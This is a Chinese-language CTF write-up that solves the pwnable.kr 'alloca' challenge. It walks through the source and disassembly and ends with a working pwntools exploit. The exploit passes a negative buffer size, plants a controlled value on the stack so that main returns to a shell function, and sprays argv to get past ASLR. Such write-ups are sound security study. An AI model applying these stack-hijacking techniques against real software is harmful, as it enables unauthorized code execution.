难得最近比较清闲,大好时间用来找虐最好不过了(误:刷题)。仅有兴趣还是搞不好二进制的,还是多练练基本功来得实在。于是继续 pwnable.kr 之旅,日后将逐渐补充之前做过的一些题目。
alloca 是 [Rokiss] 中的一道题目,这个部分的题目相比第一部分也更有 pwn 的味道。

题目附带源码 alloca.c,内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void callme() { system("/bin/sh"); }
void clear_newlines() {
int c;
do {
c = getchar();
} while (c != '\n' && c != EOF);
}
int g_canary;
int check_canary(int canary) {
int result = canary ^ g_canary;
int canary_after = canary;
int canary_before = g_canary;
printf("canary before using buffer : %d\n", canary_before);
printf("canary after using buffer : %d\n\n", canary_after);
if (result != 0) {
printf("what the ....??? how did you messed this buffer????\n");
} else {
printf("I told you so. its trivially easy to prevent BOF :)\n");
printf("therefore as you can see, it is easy to make secure software\n");
}
return result;
}
int size;
char *buffer;
int main() {
printf("- BOF(buffer overflow) is very easy to prevent. here is how to.\n\n");
sleep(1);
printf(" 1. allocate the buffer size only as you need it\n");
printf(" 2. know your buffer size and limit the input length\n\n");
printf("- simple right?. let me show you.\n\n");
sleep(1);
printf("- whats the maximum length of your buffer?(byte) : ");
scanf("%d", &size);
clear_newlines();
printf("- give me your random canary number to prove there is no BOF : ");
scanf("%d", &g_canary);
clear_newlines();
printf("- ok lets allocate a buffer of length %d\n\n", size);
sleep(1);
buffer = alloca(size + 4); // 4 is for canary
printf("- now, lets put canary at the end of the buffer and get your data\n");
printf(
"- don't worry! fgets() securely limits your input after %d bytes :)\n",
size);
printf("- if canary is not changed, we can prove there is no BOF :)\n");
printf("$ ");
memcpy(buffer + size, &g_canary, 4); // canary will detect overflow.
fgets(buffer, size, stdin); // there is no way you can exploit this.
printf("\n");
printf("- now lets check canary to see if there was overflow\n\n");
check_canary(*((int *)(buffer + size)));
return 0;
}
|
接着查看程序的防护机制,仅有 NX 防护。

结合源码,该程序自己实现了类似 canary 的机制来检测栈溢出。首先利用 alloca 来申请一块 buffer,申请的大小为 size+4,size 受我们控制;接着在 buffer+size 处写入同样受我们控制的 canary,利用 fgets 从标准输入读取内容,写入到 buffer。最后调用 check_canary 来检查 canary 是否发生了变化。
除此之外,可见代码中留了一个后门函数 callme,可直接 getshell。所以基本思路为修改 __libc_start_main 保存的返回地址为 callme 的地址,当 main 函数返回时跳转到 shell。
alloc 这个函数之前并没有见过,容易让人想到 malloc、calloc 等。查阅资料该函数是在栈上申请空间的,即简单将栈顶提升,函数退出时这部分空间自动释放,既然在栈上那就方便多了。但是这里使用 fgets 读取内容并严格限制了读取的字符数,看来直接溢出是不大可能了。
那么,如果 size 是一个负数会怎样呢?查看 alloc 部分反编译的结果如下:
1
2
|
v3 = alloca(16 * ((size + 34) / 0x10u));
buffer = (char *)(16 * (((unsigned int)&retaddr + 3) >> 4));
|
似乎反编译的结果有一些问题,看着不大直观,还是直接看反汇编:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
.text:08048745 mov eax, ds:size ; alloca here
.text:0804874A add eax, 4
.text:0804874D lea edx, [eax+0Fh]
.text:08048750 mov eax, 10h
.text:08048755 sub eax, 1
.text:08048758 add eax, edx
.text:0804875A mov ecx, 10h
.text:0804875F mov edx, 0
.text:08048764 div ecx
.text:08048766 imul eax, 10h
.text:08048769 sub esp, eax
.text:0804876B mov eax, esp
.text:0804876D add eax, 0Fh
.text:08048770 shr eax, 4
.text:08048773 shl eax, 4
.text:08048776 mov ds:buffer, eax
|
拿了一张稿纸算了以下,基本等价于以下的操作:
1
2
|
esp -= (size + 34)
buffer = esp - size -34
|
其中大量的运算是将堆栈地址对齐,简单起见就写成了以上的形式 (实则不知道该怎么整,囧)。如果 size 为负数,申请的 buffer 可能会低于当前的栈顶,与正在使用的栈帧重合。但是才发现一个很坑的问题,当 size 为负时,fgets 什么也不读,glibc 中的 fgets 的源码如下,对 size 进行了检查。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
__fortify_function __wur char *
fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
{
if (__bos (__s) != (size_t) -1)
{
if (!__builtin_constant_p (__n) || __n <= 0)
return __fgets_chk (__s, __bos (__s), __n, __stream);
if ((size_t) __n > __bos (__s))
return __fgets_chk_warn (__s, __bos (__s), __n, __stream);
}
return __fgets_alias (__s, __n, __stream);
}
|
那么我们能控制的输入就只剩下 canary 的值了。这个程序比较有趣的是返回地址的保存方式,和 ecx 寄存器有着很大的联系。main 函数结尾如下:
1
2
3
4
|
.text:08048831 mov ecx, [ebp-4]
.text:08048834 leave
.text:08048835 lea esp, [ecx-4]
.text:08048838 retn
|
而开头如下:
1
2
3
4
5
6
|
.text:08048663 lea ecx, [esp+4]
.text:08048667 and esp, 0FFFFFFF0h
.text:0804866A push dword ptr [ecx-4]
.text:0804866D push ebp
.text:0804866E mov ebp, esp
.text:08048670 push ecx
|
对比可知 main 函数的 ebp-4 保存的值减4得到的地址即为返回地址 (说得可能比较绕了),反正想办法先改掉 ebp-4 就对了。程序中有调用 memcpy,本想借助此来修改,但此处的 memcpy 着实有点怪,折腾了许久发现完全不行。参考了网上大佬的 帖子,学习了可以列公式来求 size,此处我用其来证明 memcpy 不行。
1
2
3
4
|
ebp - 4 = g_canary
esp = ebp
buffer = esp - size - 34
buffer + size = g_canary
|
很明显以上的条件不成立,不存在这样的size。此处的ebp,esp为 main 函数序言结束时的状态。久久没有思路只能继续参考,原来 check_canary 能够将 g_canary 复制到栈上,check_canary 的反汇编如下:
1
2
3
4
5
6
7
8
9
10
|
.text:080485E1 push ebp
.text:080485E2 mov ebp, esp
.text:080485E4 sub esp, 18h
.text:080485E7 mov eax, ds:g_canary
.text:080485EC xor eax, [ebp+8]
.text:080485EF mov [ebp-0xC], eax
.text:080485F2 mov eax, [ebp+8]
.text:080485F5 mov [ebp-0x10], eax
.text:080485F8 mov eax, ds:g_canary
.text:080485FD mov [ebp-0x14], eax
|
第10行的指令将位于 .bss 段的 g_canary 写入到 [ebp-0x14] 中,只需计算 size 即可。我还是以 main 开始的 esp 和 ebp 作为基准进行计算。
1
2
3
|
ebp - 4 = g_canary
esp = ebp
esp - size - 34 - 0x10 - 4 - 4 - 0x14 = g_canary
|
此处计算出 size 为 -74,和我参考的帖子得出的 -82 不符,帖子中的计算方式看得不是很懂。接下来进行动态调试,g_canary 设置为 0x12345678,调试到 main 函数结尾:

可见 ecx 的值为 0x12345678,esp 为 ecx-4,-74 完全是可以用的。距离控制 eip 还有一步,需要将 callme 的地址 0x080485AB 放置在某个地址,将ecx-4修改为该地址,此处我选用了程序命令行参数的方式。因为aslr的原因栈的地址是随机化的,即使放置大量的参数也不能保证一次命中,即此处选取的 g_canary 的值 0xffb40000 并不能命中存放参数的区域,最终的exp如下:
1
2
3
4
5
6
7
8
9
|
from pwn import *
callme_addr = 0x080485AB
argv = [p32(callme_addr) * 30000 for i in range(10)]
p = process(argv=argv, executable='/home/alloca/alloca')
p.sendline("-74")
p.sendline("-4980736")
p.interactive()
|
运气比较好,一次就跑出了flag。这里应该写一个循环的,失败不断重试效果更好。